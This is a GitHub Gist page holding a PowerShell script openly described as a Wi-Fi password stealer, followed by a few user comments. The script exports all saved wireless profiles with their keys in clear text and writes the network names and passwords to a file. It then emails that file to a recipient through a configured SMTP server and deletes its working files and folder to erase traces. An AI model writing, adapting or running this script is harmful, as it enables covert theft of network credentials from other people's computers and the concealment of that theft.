Last active
December 14, 2022 08:35
-
-
Save LudovicOmarini/98371f19372da7d9b2b6cd81ff7a1d16 to your computer and use it in GitHub Desktop.
This script get Wi-Fi informations stored on the computer and sent it by mail.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<# | |
.SYNOPSIS | |
Steals the wifi information from the computer and send it by email. | |
.DESCRIPTION | |
The script retrieves the wifi information, parses them, sends this information by email and erases the traces. | |
.EXAMPLE | |
.\Wi-fi_Password_Stealer_Email.ps1 | |
#> | |
#Creation of the temp directory and moving into it | |
$directory = "C:\Wi-fi_Password_Stealer_Email" ; mkdir $directory ; cd $directory | |
#Functions | |
$computer_name = "$env:computername" | |
$file_name = $computer_name + ' - Passwords.txt' | |
#Export of all saved wi-fi profiles | |
netsh wlan export profile key=clear | |
#Export info from xml files to a txt file | |
dir *.xml |% { | |
$xml=[xml] (get-content $_) | |
$a= "========================================`r`n SSID : "+$xml.WLANProfile.SSIDConfig.SSID.name + "`r`n Password : " +$xml.WLANProfile.MSM.Security.sharedKey.keymaterial | |
Out-File $file_name -Append -InputObject $a | |
} | |
#Mail settings | |
$encode = [System.Text.Encoding]::UTF8 | |
$sender = "SENDER_EMAILADRESS" | |
$password = "SENDER_EMAILADRESS_PASSWORD" | |
$recipient = "RECIPIENT_EMAILADRESS" | |
$subject = $computer_name + " - Wi-Fi Passwords" | |
$body = "Here are all the Wi-Fi Passwords saved on the pc '" + $computer_name + "' (available as an attachment)." | |
$attachment = $file_name | |
#Sending the email with the attachment in txt | |
Send-MailMessage -SmtpServer "SMTP_SERVER" -Port 587 -From $sender -to $recipient -Subject $subject -Body $body -Attachment $attachment -Encoding $encode -Priority High -UseSsl -Credential (New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $sender, (ConvertTo-SecureString -String $password -AsPlainText -force)) | |
#Erasing traces | |
rm *.xml ; rm *.txt ; cd .. ; rm $directory |
checked output file and its blank
@alstergee I've just rested on multiple computer like W7, W10, W11 without issues.
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
doesnt work